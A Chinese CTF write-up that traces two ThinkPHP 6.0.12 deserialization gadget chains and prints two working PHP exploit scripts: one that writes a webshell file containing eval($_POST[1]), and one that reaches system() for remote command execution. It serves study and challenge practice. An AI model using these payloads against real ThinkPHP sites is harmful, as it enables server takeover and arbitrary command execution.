前言

五月份国赛题目涉及到tp6的反序列化,当时也是在网上找的exp打,不知道其中的链子是怎么构造的,前段时间也接触了tp框架的反序列化,利用这次机会好好复现一下,弄懂其中的原理。在ctfshow和nssctf平台都有题目环境。那么废话不多说,开始复现。

题目复现

在题目中下载源码,搞个本地环境测试方便一些。本次复现两种链子,一种是写文件的,一种是直接rce的。

写文件

开头还是一样,直接找__destruct方法,这里选择的是AbstractCache类的销毁方法。

这里的autosave可控,继续跟进save方法。这里找到Adapter类的save方法,因为Adapter类是继承于AbstractCache类的。

这里我们需要进入到write方法,file是我们可控的,而contents是由getForStorage控制的,那就跟进这个函数。

cache属性我们可控,那么继续跟进cleanContents函数。

可以看出cleaned我们可控,最后进行josn编码一下,但是也相当于可控。那么write方法的两个参数都可控了,而且我们可以调用任意类的write方法,继续跟进write方法。

这里调用了Local类的write方法。发现是有一个file_put_contents危险函数的,看看它的两个参数是否可控,那么就可以写shell了。先看location参数,跟进applyPathPrefix函数,在它的父类中找到实现方法。

这里调用了getPathPrefix函数,继续跟进,

返回值我们可控,那么applyPathPrefix函数的返回值我们也可控,那么location的值我们也可控了。再看contents参数,它最终是由cache控制,也是可控的,那么就可以写shell了。那么编写exp

<?php
namespace League\Flysystem\Adapter;class Local{}namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
class Adapter {protected $adapter;protected $file;protected $cache = [];protected $autosave;public function __construct(){$this->adapter = new Local();$this->outosave = false;$this->file = '1.php';$this->cache = ['<?php eval($_POST[1]);?>'];}
}echo urlencode(serialize(new Adapter()));
?>

就两个类,不是很复杂。在本地打一下payload,发现本地写入了1.php。

打开1.php,就是我们要写的shell了。

发现也能成功执行命令。

那么这个反序列化链就分析到这。

直接rce

上面那条链子是在可写的基础上能用,如果www目录没有写文件的权限呢?那么接下来的这条链子就能突出它的作用了。

首先调用Model类中的__destruct方法。

继续跟进save方法,

这个利用点在updataData方法里,那么我们需要绕过这个if判断,首先要满足isEmpty返回值为false,那么跟进这个函数,

这里的data属性我们可控,那么这个函数的返回值我们也能够可控。再看trigger函数,Model类引用了ModelEvent类,那么就在这个类找函数实现定义。

默认就返回true,那么就可以绕过if了。 那就跟进updataData方法,

这里我们需要跟进checkAllowFields方法,这个方法是默认调用的。那么就继续跟进这个方法,

这里我们需要让它调用db函数,这里默认就会触发。继续跟进db函数,

这里属性table和属性suffix进行了一个字符串的拼接,如果把table属性实例化类,就可以触发tostring方法了。 全局搜索tostring方法,最终选择Conversion类里的tostring方法,

感觉与tp5有点相似啊,继续跟进toArray函数,

这里我们需要调用getAttr函数,只要满足data是一个数组就可以自动进入到elseif这个分支里。那么继续跟进getAttr函数,

这里调用了getValue方法,参数name源于key,可控,value由getdata函数控制,跟进这个函数,

这个函数返回值由getRealFieldName函数控制。 跟进这个函数

直接返回参数,所以filedName可控,data属性也可控,所以getData返回值也可控,那么value也是可控的。那就继续跟进getvalue方法。

getJsonValue方法是最终利用函数,那么继续跟进这个方法,

$closure和$value都可控,这里是不是就可以任意函数调用了。 exp为:

<?php
namespace think{abstract class Model{private $lazySave = false;private $data = [];private $exists = false;protected $table;private $withAttr = [];protected $json = [];protected $jsonAssoc = false;function __construct($obj = ''){$this->lazySave = True;$this->data = ['haha' => ['ls']];$this->exists = True;$this->table = $obj;$this->withAttr = ['haha' => ['system']];$this->json = ['haha',['w']];$this->jsonAssoc = True;}}
}
namespace think\model{use think\Model;class Pivot extends Model{}
}namespace{echo urlencode(serialize(new think\model\Pivot(new think\model\Pivot())));
}
?>

exp简单说明:

这是在网上找的exp,为什么变量的赋值都在Model类中,因为Model类引用了Attribute类,那为什么最后new Pivot(new Pivot)这样new两次,因为要触发tostring方法,我们需要new Attribute类,但是Attribute类是trait定义的,不能直接实例化,这个关键字在我复现tp5.1说过,那么引用它的Model类又是一个抽象类,也不能实例化,所以说,顺藤摸瓜下来,只能去实例化继承了Model类的Pivot类了。至于这些变量的赋值操作,跟着调用链的参数情况应该能明白。最后还有命名空间的相关问题没弄太懂,之后查资料弄清楚。

结语

顺着这个题目,也抛砖引玉一下,对thinkphp6.0.12框架的反序列化链进行了一个分析。

相关文章:

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

国赛ezpop题目复现(tp6)相关推荐

  1. 数模国赛历年题目 1992——2021

    数模国赛历年题目 1992--2021 获取方式 关注 公众号 数模零到一 回复关键词[国赛历年题目]即可获取 不仅包含1992-2021年题目文档,也包含题目原始数据.(无水印) 数模零到一数据库 ...

  2. 2020年国赛A题目思路(高教杯全国大学生数学建模竞赛)

    目录 2020年国赛A题思路 2020年国赛B题思路 2020年国赛C题思路 2020年国赛D题思路 2020年国赛E题思路 思路总结 2020年国赛A题思路 想啥呢!!!快去做抓紧做题....... ...

  3. 2020第十一届蓝桥杯软件类Java B组 决赛(国赛)题目+个人答案

    总体来说,4个小时写10道题,实在有点搞不赢. 以前都是6道,为啥今年突然就10道了啊,时间也不多给点,难搞. 希望时间多给点. 目录 试题 A: 美丽的 2 试题 B: 扩散 试题 C: 阶乘约数 ...

  4. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  5. 数学建模国赛全过程回顾

    前言 距离2021年数模国赛过去已经五天时间了,本打算比赛之后的第二天就写这份总结.奈何比赛期间身体损耗过大,加上西安较大的昼夜温差,我成功患上了感冒,以致计划延期.国赛时间是从周四晚上到周日晚上,比 ...

  6. 历届蓝桥杯Scratch编程国赛 初级 中级 青少年编程比赛国赛真题解析【持续更新 已更新至27题】

    历届蓝桥杯国赛真题 第十三界.十二届.十一届等历届青少年蓝桥杯Scratch编程比赛国赛真题解析 国赛真题01-河马带球[试看] [蓝桥杯国赛真题01]Scratch河马带球 少儿编程蓝桥杯Scrat ...

  7. 第十二届蓝桥杯国赛真题+题解 Python

    文章目录 写在前面 试题A:带宽 试题 B: 纯质数 试题C: 完全日期 试题D: 最小权值 试题 E: 大写 试题 F: 123 试题 G: 冰山 试题 H: 和与乘积 试题 I: 二进制问题 试题 ...

  8. 第十二届蓝桥杯省赛一等奖国赛一等奖经验总结

    我是从寒假开始准备的,一开始先熟悉各个模块的工作原理,包括IIC.SPI协议这些都看的 然后自己首先尝试去写驱动代码,一开始写得很慢,在网上找各种博客去查看. 然后在自己的各种模块驱动上,去尝试训练往 ...

  9. 【蓝桥杯】第十三届蓝桥杯单片机国赛 代码程序

    第十三届蓝桥杯单片机国赛 程序 题目 hex文件 代码 工程文件 B站视频 更多资料 题目 历届的省赛和国赛的题目我已经在前面的文章(点击查看)里给大家分享了(网盘资源),需要的话,直接去下载,我在这 ...

最新文章

  1. 数据分析工具Pandas(3):Pandas的对齐运算
  2. 北航计算机学硕还是专硕,2018北航计算机专硕总分第一录取经验
  3. 学习Qt的资源-网站、论坛、博客等
  4. sql索引从入门到精通(十亿行数据测试报告)
  5. JavaFX官方教程(十一)之动画基础
  6. Introduction to Materials Management 学习笔记--生产计划系统
  7. PHP学习随笔(3):数组
  8. RSA解密Matlab,RSA加密算法--matlab
  9. 关于营造团队良好氛围的讨论
  10. Ubuntu下定时重启程序
  11. exports is not defined
  12. WINVNC源码分析(四)
  13. OpenCV中八种不同的目标追踪算法
  14. 2021数据分析师薪资大PK
  15. 单点登录cas常见问题(九) - android app怎么接入cas单点登录系统?
  16. 信号速率计算(数据速率、比特率、码元速率、符号率、带宽、采样率)
  17. 【软考系统架构设计师】第八章 Web架构(知识点必知必会)
  18. APP移植到小米Pad上的Crash分析
  19. centos7 编译安装ffmpeg + x264 + acc + yasm
  20. 【重磅】2020年通信行业白皮书汇总下载(免费)

热门文章

  1. Multi-AP Specification V2.0 中文翻译 第9章 Capability information reporting(能力信息报告)
  2. jQuery日历记事插件SimpleCalendar(附源代码)
  3. 网络安全入门:不可不知的8款免费Web安全测试工具
  4. VB基础版版务处理_20051011
  5. SAP那些事-实战篇-22-关于公司间业务的总结
  6. nao机器人拆解_华为P7拆解:超薄机身,4G之下续航略显不足
  7. git与svn的区别面试
  8. 每天小练笔8-模拟进程调度
  9. 中控煤化工丨大型煤化工智能工厂高效精准生产,到底有多牛?
  10. 分享两个百度网盘提速方法